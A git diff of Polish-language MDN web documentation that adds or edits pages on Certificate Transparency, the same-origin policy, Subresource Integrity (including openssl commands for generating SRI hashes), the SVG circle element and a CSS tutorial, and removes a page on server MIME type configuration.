Wyzwanie +
Przesuń reguły stylu dotyczące drukowania do osobnego pliku CSS. +

Użyj wcześniejszych odnośników na tej stronie, aby znaleźć informacje w specyfikacji CSS. Znajdź szczegóły na temat, jak importować nowy plik CSS do swojego arkusza stylów. +

Spraw, aby nagłówek stawał się niebieski, kiedy kursor myszy znajdzie się nad nim. +

+
+


+

+

Co dalej?

+

Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie Dyskusji. +

Na razie wszystkie reguły stylów w tym kursie znajdowały się w plikach. Reguły i ich wartości są stałe. Następna strona opisuje, jak można modyfikować reguły dynamicznie, używając języka programowania: JavaScript +

{{ languages( { "en": "en/CSS/Getting_Started/Media", "fr": "fr/CSS/Premiers_pas/M\u00e9dias", "pt": "pt/CSS/Como_come\u00e7ar/M\u00eddia" } ) }} diff --git a/files/pl/web/security/certificate_transparency/index.html b/files/pl/web/security/certificate_transparency/index.html new file mode 100644 index 0000000000..7a9b814c43 --- /dev/null +++ b/files/pl/web/security/certificate_transparency/index.html @@ -0,0 +1,63 @@ +--- +title: Certificate Transparency +slug: Web/Bezpieczeństwo/Certificate_Transparency +tags: + - Bezpieczeństwo + - Web + - bezpieczeństwo aplikacji WWW +translation_of: Web/Security/Certificate_Transparency +--- +

Certyfikat Przejrzystości (Certificate Transparency) to otwarta platforma programistyczna (framework) stworzona do ochrony oraz monitorowania braków w certyfikacji. Świeżo wydane certyfikaty dostają się do obiegu publicznego, często niezależne logi CT zostają wpisane do rejestru, przez co zachowany zostaje zabezpieczony kryptograficznie rekord certyfikatów TLS.

+ +

W ten sposób organy certyfikujące (CA) mogą podlegać znacznie większemu, publicznemu nadzorowi i kontroli. Potencjalnie szkodliwe certyfikaty, jak te, które naruszają Podstawowe Wymogi CA/B Forum mogą zostać znacznie sprawniej wykryte i cofnięte. Podmioty zajmujące się sprzedażą przeglądarek oraz opiekuni certyfikatów zaufanych są również uprawnieni do podejmowania gruntowniej popartych decyzji dot. problematycznych organów certyfikujących, którym mogą odmowić zaufania.

+ +

Kontekst

+ +

Logi CT są budowane w ramach struktury danych drzewa Merkla (Merkle tree). Węzły są oznaczane hashami kryptograficznymi ich węzłów potomnych. Liście (leaf nodes) zawierają hashe aktualnych części danych. Oznaczenie węzła głównego (root node) zależy jednakże od wszystkich pozostałych węzłów w drzewie.

+ +

W kontekście przejrzystości certyfikacji dane hashowane przez liście są certyfikatami wydawanymi obecnie przez różne CA. Obecność certyfikatu może zostać zweryfikowana przez dowód kontroli skutecznie generowany i weryfikowany w czasie działania logarytmicznego - logarithmic O(log n) time.

+ +

Pierwotnie, w 2013 roku przejrzystość certyfikacji służyła przeciwdziałaniu narażania CA (naruszenia DigiNotar w 2011 roku), wątpliwym decyzjom (incydent Trustwave subordinate root w 2012 roku) oraz technicznym problemom wydawniczym (emisja słabego, 512-bitowego certyfikatu przez Digicert Sdn Bhd w Malezji)

+ +

Wdrożenie

+ +

Gdy certyfikaty zostają dostarczone do rejestru CT, znacznik SCT (signed certificate timestamp) zostaje wygenerowany i zwrócony. Służy to jako dowód, że certyfikat został dostarczony i zostanie dodany do rejestru.

+ +

Wg specyfikacji podczas komunikacji serwery zgodne muszą dostarczać numery tych SCTów do klientów TLS. Może do tego dojść na kilka różnych sposobów:

+ + + +

Przy rozszerzeniu certyfikatu X.509 o włączonych SCTsach decydują organy certyfikujące. Przy stosowaniu tego typu mechanizmu nie powinna istnieć potrzeba modyfikacji serwerów webowych.

+ +

W przypadku ostatnich metod serwery powinny być aktualizowane, aby móc wysyłać żądane dane. Korzyść stanowi fakt, że operator serwera może modyfikować źródła rejestru CT dostarczając SCTsy wysyłane przez rozszerzenie TLS/"zszytą" odpowiedź OCSP.

+ +

Wymagania przeglądarki

+ +

Google Chrome wymaga umieszczania rejestru CT dla wszystkich kwestii związanych z emisjami certyfkatów z datą notBefore po 30 kwietnia 2018 roku. Użytkownicy zostaną uchronieni przed odwiedzaniem stron używających niezgodnych certyfikatów TLS. Wcześniej Chrome wymagało umieszczania Rozszerzonej Walidacji (EV) oraz certyfikatów wydawanych przez Symantec.

+ +

Apple wymaga zróżnicowanej liczby SCTsów dla Safari i innych serwerów celem zaufania certyfikatom.

+ +

Firefox aktualnie ani nie sprawdza ani nie wymaga stosowania rejestru CT dla stron odwiedzanych przez użytkowników.

+ +

Nagłówek Expect-CT może zostać użyty do żądania, by przeglądarka zawsze wymuszała wymóg przejrzystości certyfikacji (np. w Chrome nawet, jeśli certyfikat został wydany z datą notBefore, przed kwietniem)

+ +

Specyfikacje

+ + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
Certificate TransparencyIETF RFC
diff --git a/files/pl/web/security/index.html b/files/pl/web/security/index.html new file mode 100644 index 0000000000..0d3cdd2c07 --- /dev/null +++ b/files/pl/web/security/index.html @@ -0,0 +1,24 @@ +--- +title: Bezpieczeństwo aplikacji WWW +slug: Web/Bezpieczeństwo +tags: + - Bezpieczeństwo + - Web + - bezpieczeństwo aplikacji WWW +translation_of: Web/Security +--- +
+

Zapewnienie bezpieczeństwa Twojej strony lub aplikacji WWW jest niezwykle istotne. Nawet proste błędy w kodzie mogą skutkować wyciekiem prywatnych danych i ich kradzieżą przez nieodpowiednie osoby. Wymienione tutaj artykuły dot. bezpieczeństwa aplikacji WWW dostarczą Ci informacji, które mogą okazać się pomocne w zabezpieczeniu Twojej strony i jej kodu przez atakami i kradzieżą danych.

+
+ +

{{LandingPageListSubpages}}

+ +

Zobacz również

+ + + +

{{QuickLinksWithSubpages}}

diff --git a/files/pl/web/security/same-origin_policy/index.html b/files/pl/web/security/same-origin_policy/index.html new file mode 100644 index 0000000000..23f296444e --- /dev/null +++ b/files/pl/web/security/same-origin_policy/index.html @@ -0,0 +1,277 @@ +--- +title: Reguła tego samego pochodzenia (Same-origin policy) +slug: Web/Bezpieczeństwo/Same-origin_policy +tags: + - Bezpieczeństwo + - CORS + - Host + - JavaScript + - Same-origin policy + - URL + - origin + - pochodzenie + - reguła tego samego pochodzenia + - źródło +translation_of: Web/Security/Same-origin_policy +--- +

Same-origin policy (reguła tego samego pochodzenia) to istotny mechanizm bezpieczeństwa, który określa sposób, w jaki dokument lub skrypt jednego pochodzenia ({{Glossary("origin")}}) może komunikować się z zasobem innego pochodzenia. Pozwala to na odizolowanie potencjalnie szkodliwych dokumentów i tym samym redukowane są czynniki sprzyjające atakom.

+ +

Definicja "origin"

+ +

Dwa URLe są tego samego pochodzenia, jeśli {{Glossary("protocol")}}, {{Glossary("port")}} (jeśli wyszczególniony) oraz {{Glossary("host")}} są takie same dla obu. Tego typu charakterystykę nazywa się "krotką schematu/hosta/portu" ("scheme/host/port tuple") lub po prostu "krotką" ("Krotka" to kolekcja elementów tworzących zbiór - generyczna forma, która może być podwójna/potrójna/poczwórna itd.).

+ +

Poniższa tabela zawiera przykłady zestawień "originów" z URLem http://store.company.com/dir/page.html:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
URLWynikPowód
http://store.company.com/dir2/other.htmlSame originRóżni się tylko ścieżka
http://store.company.com/dir/inner/another.htmlSame originRóżni się tylko ścieżka
https://store.company.com/page.htmlNiepowodzenieInny protokół
http://store.company.com:81/dir/page.htmlNiepowodzenieInny port (http:// domyślnie jest portem 80)
http://news.company.com/dir/page.htmlNiepowodzenieInny host
+ +

Zobacz również definicję "origin" dla URLów file:, ich zestawienie jest bardziej złożone.

+ +

Odziedziczone "origin"

+ +

Skrypty wywoływane przez strony z URLami about:blank lub javascript: dziedziczą "origin" dokumentu zawierającego ten URL, ponieważ tego typu URLe nie zawierają informacji o serwerze źródłowym.

+ +
+

Przykładowo, about:blank jest często używany jako URL nowego, pustego, wyskakującego okienka, w którym skrypt-rodzic umieszcza treść (np. przez mechanizm {{domxref("Window.open()")}}). Jeśli dane okienko zawiera również JavaScript, skrypt odziedziczy ten sam "origin" jak skrypt, który je utworzył.

+
+ +
+

data: URLe zyskują nowy, pusty kontekst bezpieczeństwa.

+
+ +

Wyjątki w Internet Explorer

+ +

W Internecie Explorerze istnieją dwa wyjątki od reguły same-origin:

+ +
+
Strefy Zaufania
+
Jeśli obie domeny znajdują się w strefie wysokiego zaufania (np. firmowe domeny intranetu), wówczas ograniczenia same-origin nie są stosowane.
+
Port
+
IE nie bierze pod uwagę portów w trakcie sprawdzania obecności tego samego pochodzenia. Przykładowo, https://company.com:81/index.html i https://company.com/index.html są uznawane za posiadające ten sam "origin", więc nie są implementowane żadne ograniczenia .
+
+ +

Wspomniane wyjątki są niestandardowe i nie są wspierane przez inne przeglądarki.

+ +

Zmiana origin

+ +

Strona może zmieniać swoje pochodzenie przy zachowaniu pewnych ograniczeń. Skrypt może nadać wartość {{domxref("document.domain")}} równą swojej obecnej domenie lub superdomenie swojej obecnej domeny. Jeśli odwołuje się do superdomeny obecnej domeny, wówczas krótsza superdomena jest brana pod uwagę przy kontroli same-origin.

+ +

Załóżmy, że skrypt z dokumentu pod adresem http://store.company.com/dir/other.html wywołuje poniższą linijkę:

+ +
document.domain = "company.com";
+
+ +

Następnie strona może przejść pomyślnie kontrolę same-origin mając adres http://company.com/dir/page.html (przyjmując, że http://company.com/dir/page.html ma document.domain równe "company.com" by wskazać, że chce na to zezwalać - sprawdź: {{domxref("document.domain")}}). Jednakże, company.com nie może ustawić document.domain na othercompany.com, ponieważ nie jest to superdomena company.com.

+ +

Numer portu jest sprawdzany oddzielnie przez przeglądarkę. Każde odwołanie do document.domain, w tym document.domain = document.domain, spowoduje przypisanie numerowi portu wartości null. Jednakże, nie uda się nawiązać komunikacji company.com:8080 z company.com tylko poprzez umieszczenie document.domain = "company.com" w pierwszym z nich. Taki zapis musi znajdować się w obu dokumentach, aby ich porty były równocześnie równe null.

+ +
+

Zauważ: Używając document.domain , żeby pozwolić subdomenie na bezpieczny dostęp do rodzica potrzebujesz ustawić document.domain na tę samą wartość jednocześnie w domenie rodzica i w subdomenie. Jest to wymagane nawet podczas zwykłego przywracania domeny rodzica do pierwotnej wartości. Niepowodzenie może skutkować błędami dostępu.

+
+ +

Dostęp sieciowy cross-origin (międzyźródłowy)

+ +

Reguła tego samego pochodzenia kontroluje interakcje pomiędzy dwoma różnymi "originami", np. kiedy używasz elementu {{domxref("XMLHttpRequest")}} czy {{htmlelement("img")}}. Tego typu interakcje przeważnie dzielą się na trzy kategorie:

+ + + +

Poniżej znajdują się przykłady zasobów, które można osadzać międzyźródłowo:

+ + + +

Jak umożliwić dostęp cross-origin

+ +

Poprzez CORS można zezwolić na dostęp cross-origin. CORS jest częścią {{Glossary("HTTP")}}, co pozwala serwerom na określanie, które hosty są upoważnione do ładowania treści z tego serweru.

+ +

Jak zablokować dostęp cross-origin

+ + + +

Dostęp cross-origin API skryptu

+ +

API JavaScriptu, jak {{domxref("HTMLIFrameElement.contentWindow", "iframe.contentWindow")}}, {{domxref("window.parent")}}, {{domxref("window.open")}} i {{domxref("window.opener")}} pozwalają dokumentom na bezpośrednią, wzajemną referencję. Jeśli dwa dokumenty nie są tego samego pochodzenia, referencje te umożliwiają bardzo ograniczony dostęp do obiektów {{domxref("Window")}} i {{domxref("Location")}}, jako opisano w następnych dwóch sekcjach.

+ +

Do komunikacji pomiędzy dokumentami o różnym pochodzeniu stosuje się {{domxref("window.postMessage")}}.

+ +

Specyfikacja: Standard HTML § Obiekty cross-origin.

+ +

Window

+ +

Poniższy dostęp cross-origin jest dopuszczany w przypadku wymienionych właściwości Window:

+ + + + + + + + + + + + + + + + + + + + + +
Metody
{{domxref("window.blur")}}
{{domxref("window.close")}}
{{domxref("window.focus")}}
{{domxref("window.postMessage")}}
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Własności
{{domxref("window.closed")}}Tylko do odczytu.
{{domxref("window.frames")}}Tylko do odczytu.
{{domxref("window.length")}}Tylko do odczytu.
{{domxref("window.location")}}Odczyt/Zapis.
{{domxref("window.opener")}}Tylko do odczytu.
{{domxref("window.parent")}}Tylko do odczytu.
{{domxref("window.self")}}Tylko do odczytu.
{{domxref("window.top")}}Tylko do odczytu.
{{domxref("window.window")}}Tylko do odczytu.
+ +

Niektóre przeglądarki zezwalają na dostęp większej ilości właściwości, niż wypisane powyżej.

+ +

Location

+ +

Poniższy dostęp cross-origin jest dopuszczany w przypadku właściwości Location:

+ + + + + + + + + + + + +
Metody
{{domxref("location.replace")}}
+ + + + + + + + + + + + + + +
Atrybuty
{{domxref("URLUtils.href")}}Tylko do zapisu.
+ +

Niektóre przeglądarki umożliwiają dostęp do większej liczby właściwości, niż wymienione powyżej.

+ +

Dostęp cross-origin do danych pamięci

+ +

Dostęp do danych przechowywanych w przeglądarce, jak localStorage czy IndexedDB są odseparowane pochodzeniem. Każdy origin otrzymuje własną, odseparowaną pamięć i JavaScript jednego pochodzenia nie może odczytywać lub wpisywać niczego do pamięci należącej do innego originu.

+ +

Ciasteczka (cookies) używają oddzielnej definicji originów. Strona może ustalić ciasteczko dla własnej domeny lub domeny-rodzica dopóki, gdy domena-rodzic nie jest sufiksem publicznym. Firefox i Chrome używają listy sufiksów publicznych (Public Suffix List), by zweryfikować czy domena jest sufiksem publicznym. Internet Explorer używa własnej, wewnątrznej metody weryfikacji czy domena jest sufiksem publicznym. Przeglądarka udostępni ciasteczko podanej domenie zawierającej jakiekolwiek subdomeny, niezależnie jaki protokół (HTTP/HTTPS) czy port jest używany. Przy ustalaniu ciasteczka możliwe jest określenie limitu dostępności używając flag domeny (Domain), ścieżki (Path), bezpiecznej (Secure) i Http-Only. Gdy odczytywane jest ciasteczko nie można zobaczyć, gdzie zostało ustalone. Nawet jeśli używane są wyłącznie bezpieczne połączenia https dane ciasteczko mogło zostać ustalone poprzez połączenie niebezpieczne.

+ +

Zobacz również

+ + + +
+

Informacje dot. dokumentu źródłowego

+ + +
+ +

{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}

diff --git a/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html b/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html deleted file mode 100644 index 87aea6b3b3..0000000000 --- a/files/pl/web/security/securing_your_site/konfiguracja_mime_na_serwerze/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Poprawna kofiguracja MIME na serwerze -slug: Web/Security/Securing_your_site/Konfiguracja_MIME_na_serwerze -tags: - - HTTP -translation_of: Learn/Server-side/Configuring_server_MIME_types ---- -

Kontekst

- -

Wiele serwerów webowych domyślnie ma skonfigurowane raportowanie typów MIME text/plain lub application/octet-stream w przypadku nierozpoznanych typów zawartości. Kiedy nowe typy zawartości dopiero powstają lub są dodawane do serwerów webowych zdarza się, że administratorzy webowi nie dodają nowo-powstałych typów MIME do ustawień serwera webowego. I to właśnie stanowi główną bolączkę użytkowników przeglądarek opartych o Gecko, które uznają typy MIME jako zraportowane przez serwery i aplikacje webowe.

- -

Czym są typy MIME?

- -

Typy MIME opisują typ danych zawartości mailowej lub obsługiwanej przez serwery lub aplikacje webowe i ich zadaniem jest pomoc przeglądarce w przetworzeniu i wyświetleniu zawartości. Przykładami typów MIME są:

- - - -

Kontekst techniczny

- -

Zarejestrowane wartości MIME są dostępne w Typy danych IANA | MIME. Specyfikacja HTTP definiuje nadzbiór typów MIME, który jest używany do opisu typów danych używanych w sieci WWW.

- -

Dlaczego poprawne typy MIME są tak istotne?

- -

Example of an incorrect MIME type result Jeśli serwer lub aplikacja webowa dla danej zawartości raportuje niepoprawny typ MIME, przeglądarka nie ma możliwości, wg specyfikacji HTTP, wiedzieć, że autor zainicjował przetworzenie i wyświetlenie danej zawartości w odmienny sposób, niż domyślny dla zraportowanego typu MIME.

- -

Niektóre z przeglądarek, jak Microsoft® Internet Explorer, dążą do zezwalania niepoprawnie skonfigurowanym serwerom i aplikacjom webowym na zgadywanie, jaki powinien być poprawny typ MIME. Takie podejście uchroniło wielu administratorów webowych przed własnymi błędami - Internet Explorer kontynuuje przetwarzanie zawartości zgodnie z oczekiwaniami mimo, że sam serwer webowy nie jest poprawnie skonfigurowany i np. wyświetla obrazek, który został zraportowany jako będący rzekomo zwykłym tekstem.

- -

Obsługa treści poprzez używanie poprawnego typu MIME jest istotna także z punktu widzenia bezpieczeństwa; istnieje ryzyko wyrządzenia przez niechcianą treść szkód na komputerze użytkownika poprzez symulowanie, że typ danej zawartości jest bezpieczny mimo, że w istocie może nie być to prawda.

- -
-

Zauważ: Kiedyś Firefox ładował pliki CSS nawet, jeśli posiadały błędny typ MIME. Wystarczyło, że dokument HTML, który o nie wnioskował działał w trybie osobliwości (quirks mode). Ze względów bezpieczeństwa, {{ gecko("2.0") }} nie będzie dłużej kontynować tego typu zachowań w przypadku arkuszy stylów ładowanych z innych źródeł, niż dokument, który o nie wnioskował. Jeśli Twój arkusz stylów pochodzi z innego źródła, niż główny dokument musisz obsłużyć go poprzez poprawny typ MIME (text/css).

- -

Gecko 1.9.1.11 (Firefox 3.5.11) i Gecko 1.9.2.5 (Firefox 3.6.5) również zaimplementowały tę łatkę bezpieczeństwa, ale by polepszyć zgodność tymczasowo istniała heurytrystyka pozwalająca na załadowanie, jeśli pierwsza linia w arkuszu stylów wydawała się być poprawną konstrukcją CSSową; heurytrystyka ta została usuninęta w Firefoxie 4 i od tego czasu należy odpowiednio ustawić typy MIME text/css, aby strony CSS zostały rozpoznane.

-
- -

Dlaczego przeglądarki nie powinny zgadywać typów MIME

- -

Poza naruszaniem specyfikacji HTTP istnieją dodatkowe powody, dla których zgadywanie typów MIME nie należy do najlepszych praktyk:

- -

Utrata kontroli

- -

Jeśli przeglądarka ignoruje zaraportowany typ MIME, administratorzy i autorzy webowi nie mają dłużej kontroli nad sposobem przetwarzania danej zawartości.

- -

Przykładowo, strona WWW ukierunkowana na twórców witryn może życzyć sobie przesłania pewnych dokumentów, przykładowo HTMLowych, jak również text/html lub text/plain, by móc je przetworzyć i wyświetlić jako HTML lub jako kod źródłowy. Jeśli przeglądarka będzie zgadywać typ MIME, tego typu możliwość nie będzie dłużej dostępna dla autora.

- -

Bezpieczeństwo

- -

Niektóre typy zawartości, jak pliki wykonywalne, są przeważnie niebezpieczne. Z tego powodu te typy MIME przeważnie są ograniczone pod względem akcji, jakie podejmie przeglądarka w przypadku tego typu plików. Plik wykonywalny nie powinien wykonywać się na komputerze użytkownika, co najwyżej może mieć prawo do wyświetlenia okienka z zapytaniem do użytkownika, czy chce pobrać ten plik.

- -

W Internet Explorerze zgadywanie typów MIME doprowadziło do naruszenia bezpieczeństwa - przez niepoprawne zgadywanie szkodliwe treści bywały oznaczane jako bezpieczne, co skutkowało pominięciem wyświetlania standardowego okienka pobierania i przedostawaniem się plików wykonywalnych na komputery użytkowników.

- -

Jak określić typ MIME, który jest wysyłany przez serwer

- -

W Firefoxie załaduj plik i użyj Narzędzia | Informacje o witrynie. Możesz również użyć Rex Swain's HTTP Viewer lub Live HTTP Headers , aby zobaczyć pełne nagłówki i treść każdego pliku wysłanego z serwera webowego.

- -

W odniesieniu do standardów, tag meta o typie MIME jak np. <meta http-equiv="Content-Type" content="text/html"> powinien być ignorowany, jeśli w nagłówku znajduje się zapis {{HTTPHeader("Content-Type")}}. Zamiast szukać tej linii w kodzie źródłowym HTML lepiej użyć powyższych technik do określenia typu MIME wysyłanego przez serwer.

- -

Jak określić prawidłowy typ MIME dla Twojej treści

- -

Jest kilka kroków, które należy zrobić by określić poprawną wartość dla typu MIME twojej treści.

- -
    -
  1. Jeśli twoja treść została utworzona z pomocą zewnętrznego oprogramowania, przeczytaj jego dokumentację by dowiedzieć się, jakie typy MIME powinny zostać zraportowane dla danych typów danych.
  2. -
  3. Zerknij na rejest typów danych IANA | MIME. Zawiera on wszystkie zarejestrowane typy MIME.
  4. -
  5. Jeśli typ danych jest wyświetlany poprzez rozszerzenie w Netscape Gecko, zainstaluj wtyczkę, a następnie sprawdź Pomoc->O Menu Wtyczek, by sprawdzić jakie typy MIME są związane z typem danych.
  6. -
  7. Poszukaj rozszerzenia pliku w FILExt lub File extensions reference, aby sprawdzić jakie typy MIME są związane z tym rozszerzeniem.
  8. -
- -

Jak przygotować serwer, żeby wysyłał poprawne typy MIME

- -

Fundamentalną kwestią jest konfiguracja Twojego serwera w taki sposób, by wysyłał poprawny nagłówek HTTP {{HTTPHeader("Content-Type")}} dla każdego dokumentu.

- - - - - - - -
-

Informacje dot. dokumentu źródłowego

- - -
- -
{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}
diff --git a/files/pl/web/security/subresource_integrity/index.html b/files/pl/web/security/subresource_integrity/index.html new file mode 100644 index 0000000000..69f20709ec --- /dev/null +++ b/files/pl/web/security/subresource_integrity/index.html @@ -0,0 +1,163 @@ +--- +title: Integralność podzasobów (Subresource Integrity) +slug: Web/Bezpieczeństwo/Subresource_Integrity +tags: + - Bezpieczeństwo + - HTML + - HTTP + - Wstęp + - bezpieczeństwo aplikacji WWW +translation_of: Web/Security/Subresource_Integrity +--- +

Subresource Integrity (SRI), w wolnym tłumaczeniu "integralność podzasobów", to funkcja bezpieczeństwa umożliwiająca przeglądarkom weryfikowanie, czy zasoby, które przechwytują (np. z CDN) docierają do nich bez nieporządanych zmian. Działanie takie jest możliwe dzięki używaniu hasha kryptograficznego, z którym przechwycony zasób musi być zgodny.

+ +
+

Notka: W celu weryfikacji integralności podzasobów danych przekazywanych ze źródła innego, niż dokument w którym są osadzane przeglądarki dodatkowo sprawdzają źródło poprzez międzyźródłowe udostępnianie zasobów, tzw. Cross-Origin Resource Sharing (CORS). Dzięki temu upewniają się, że pochodzenie (origin) oferujące dane zasoby pozwala na udostępnianie ich z innym, sprecyfizowanym originem.

+
+ +

Korzyści wynikające z "Subresource Integrity"

+ +

Używając {{Glossary("CDN", "Content Delivery Networks (CDNs)")}} do hostowania plików, jak np. skrypty czy arkusze stylów, które są udostępnianie pośród licznych stron WWW można polepszyć wydajność strony i zachować przepustowość łącza. Jednakże, używając CDNów ryzykujemy, że jeśli atakujący przejmie kontrolę nad CDNem to może wprowadzić szkodliwą zawartość do plików na CDNie (lub zupełnie je zastąpić) i przez to potencjalnie może zaatakować wszystkie strony, które przechwytują pliki z tego CDNu.

+ +

"Subresource Integrity" pozwala na ograniczenie ryzyka ataków tego typu poprzez zapewnienie, że pliki które dana aplikacja, bądź dokument WWW przechwytują (m. in. z CDNu) zostały dostarczone bez udziału trzeciej strony, która "wzbogaciła" nasze dane o dodatkową treść oraz bez żadnych, jakichkolwiek innych zmian w przesyłanych plikach.

+ +

Używanie "Subresource Integrity"

+ +

Korzystanie z funkcji "Subresource Integrity" jest możliwe przez określenie hasha zakodowanego kryptograficznie w base64 zasobu (pliku), który przeglądarka ma przechwycić, z wartością atrybutu integrity danego elementu {{HTMLElement("script")}} or {{HTMLElement("link")}}.

+ +

Wartość integrity zaczyna się od co najmniej jednego stringu, przy czym każdy string zawiera prefiks wskazujący na konkretny algorytm hashowy (obecnie dozwolonymi prefiksami są sha256, sha384, i sha512), następnie opatrzony myślnikiem i zakończony aktualnym hashem zakodowanym w base64.

+ +
+

Notka: Wartość integrity może zawierać liczne hashe oddzielone białymi znakami. Zasób zostanie załadowany, jeśli dopasuje się z jednym z tych hashów.

+
+ +

Przykładowy string integrity z hashem sha384 zakodowanym w base64:

+ +
sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
+
+ +

Więc oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC to część "hashowa", a prefiks sha384 wskazuje, że jest to hash sha384.

+ +
+

Notka: Część "hashowa" wartości integrity jest, mówić ściśle, skrótem kryptograficznym formowanym przez zastosowanie określonych funkcji hashowych do danego outputu (np. skryptu lub arkuszu stylów). Zwykle używa się skrótu "hash" do określania skrótu kryptograficznego, więc w taki sposób to określenie jest używane w niniejszym artykule.

+
+ +

Narzędzia do generowania hashów SRI

+ +

Możesz generować hashe SRI z konsoli z openssl używając wywołania polecenia, jak:

+ +
cat FILENAME.js | openssl dgst -sha384 -binary | openssl base64 -A
+ +

lub z shasum używając wywołania polecenia, jak:

+ +
shasum -b -a 384 FILENAME.js | awk '{ print $1 }' | xxd -r -p | base64
+
+ +
+

Notka:

+ + +
+ +

Warto wiedzieć, że dostępny na https://www.srihash.org/ SRI Hash Generator to narzędzie online umożliwiające generowanie hashy SRI.

+ +

Zasady bezpieczeństwa zawartości i Integralności podzasobów(Content Security Policy & Subresource Integrity)

+ +

Możesz skorzystać z Zasad bezpieczeństwa zawartości (Content Security Policy), by skonfigurować swój serwer, żeby wymuszał by określone typy plików wymagały stosowania Subresource Integrity. Aby to zrobić użyj dyrektywy {{CSP("require-sri-for")}} w swoim nagłówku CSP, np.:

+ +
Content-Security-Policy: require-sri-for script;
+ +

Dzięki temu zapisowi każda próba załadowania JavaScript powiedzie się jedynie, jeśli informacja o Subresource Integrity znajduje się na miejscu, a testy integralności zakończą się sukcesem.

+ +

Możesz również określić, że SRI powinno być stosowane podczas ładowania arkuszy stylów:

+ +
Content-Security-Policy: require-sri-for style;
+ +

Możesz również określić zarówno script, jak i style aby wymagać SRI przy obu typach plików.

+ +

Udostępnianie zasobów między źródłami i Integralności podzasobów (Cross-Origin Resource Sharing & Subresource Integrity)

+ +

Celem weryfikacji integralności podzasobów danych pochodzących z originu innego, niż dokument, w którym są osadzone, przeglądarki dodatkowo sprawdzają dane za pomocą CORS (Cross-Origin Resource Sharing). Upewniają się, że origin dostarczający dane pozwala na udostępnianie wnioskującemu originowi. Wtedy dane muszą zostać dostarczone z nagłówkiem Access-Control-Allow-Origin, co pozwala na udostępnienie danych wnioskującemu originowi, np.:

+ +
Access-Control-Allow-Origin: *
+ +

Przykłady

+ +

W poniższych przykładach przyjmimy, że oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC to oczekiwany hash SHA-384 (skrót) określonego skryptu example-framework.js i że istnieje kopia skryptu hostowana na https://example.com/example-framework.js.

+ +

Subresource Integrity with the <script> element

+ +

Możesz użyć niniejszego elementu {{HTMLElement("script")}}, by nakazać przeglądarce, aby przed wywołaniem skryptu https://example.com/example-framework.js najpierw porównała skrypt z oczekiwanym hashem i zweryfikowała, że są dopasowane.

+ +
<script src="https://example.com/example-framework.js"
+        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
+        crossorigin="anonymous"></script>
+ +
+

Notka: By dowiedzieć się więcej nt. zastosowania atrybutu crossorigin sprawdź atrybuty ustawień CORS.

+
+ +

Jak przeglądarki radzą sobie z "Subresource Integrity"

+ +

Przeglądarki radzą sobie z SRI poprzez podjęcie poniższych działań:

+ +
    +
  1. +

    Kiedy przeglądarka napotka element {{HTMLElement("script")}} lub {{HTMLElement("link")}} z atrybutem integrity, przed wywołaniem skryptu lub przed zastosowaniem jakiegokolwiek arkusza stylów określonego przez element {{HTMLElement("link")}}, przeglądarka musi najpierw porównać skrypt lub arkusz stylów do oczekiwanego hasha podanego w wartości integrity.

    + +

    Notka: Celem weryfikacji integralności podzasobów danych dostarczanych z originu innego, niż dokument, w którym zostały osadzone, przeglądarki dodatkowo sprawdzają dane poprzez stosowanie CORS, aby upewnić się, że origin dostarczający dane pozwala na udostępnianie ich z wnioskującym originem.

    +
  2. +
  3. Jeśli skrypt lub arkusz stylów nie pasuje do odpowiadającej mu wartości integrity, przeglądarka musi odmówić wywołania skryptu lub uwzględnienia arkusza stylów i zamiast tego musi zwrócić błąd sieciowy wskazujący, że nie powiodło się przechwycenie tego skryptu lub arkusza stylów.
  4. +
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('Subresource Integrity')}}{{Spec2('Subresource Integrity')}}
{{SpecName('Fetch')}}{{Spec2('Fetch')}}
+ +

Kompatybilność z przeglądarkami

+ +

<script integrity>

+ + + +

{{Compat("html.elements.script.integrity")}}

+ +

CSP: require-sri-for

+ + + +

{{Compat("http.headers.csp.require-sri-for")}}

+ +

Zobacz również

+ + + +

{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}

diff --git a/files/pl/web/svg/element/circle/index.html b/files/pl/web/svg/element/circle/index.html new file mode 100644 index 0000000000..6ef2bca50e --- /dev/null +++ b/files/pl/web/svg/element/circle/index.html @@ -0,0 +1,99 @@ +--- +title: +slug: Web/SVG/Element/okrąg +translation_of: Web/SVG/Element/circle +--- +
{{SVGRef}}
+ +

Element SVG jest podstawowym kształtem SVG, używanym do tworzenia okręgów w oparciu o punkt środkowy i promień.<circle>

+ +
+ + +
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
+  <circle cx="50" cy="50" r="50" />
+</svg>
+ +

{{EmbedLiveSample ("Przykład", 100, 100)}}

+
+ +

Atrybuty

+ +
+
{{SVGAttr ("cx")}}
+
Ten atrybut definiuje współrzędną osi X środka elementu.
+ Typ wartości : <długość> | <procent> ; Wartość domyślna : 0; Animowalny : tak
+
{{SVGAttr ("cy")}}
+
Ten atrybut definiuje współrzędną osi y środka środka elementu.
+ Typ wartości<długość> | <procent> ; Wartość domyślna : 0; Animowalny : tak
+
{{SVGAttr ("r")}}
+
Ten atrybut definiuje promień elementu.
+ Wartość mniejsza lub równa zero powoduje wyłączenie renderowania okręgu.
+ Typ wartości : <length> ; Wartość domyślna : 0; Animowalny : tak
+
{{SVGAttr ("ścieżkaLength")}}
+
Ten atrybut pozwala określić całkowitą długość ścieżki w jednostkach użytkownika.
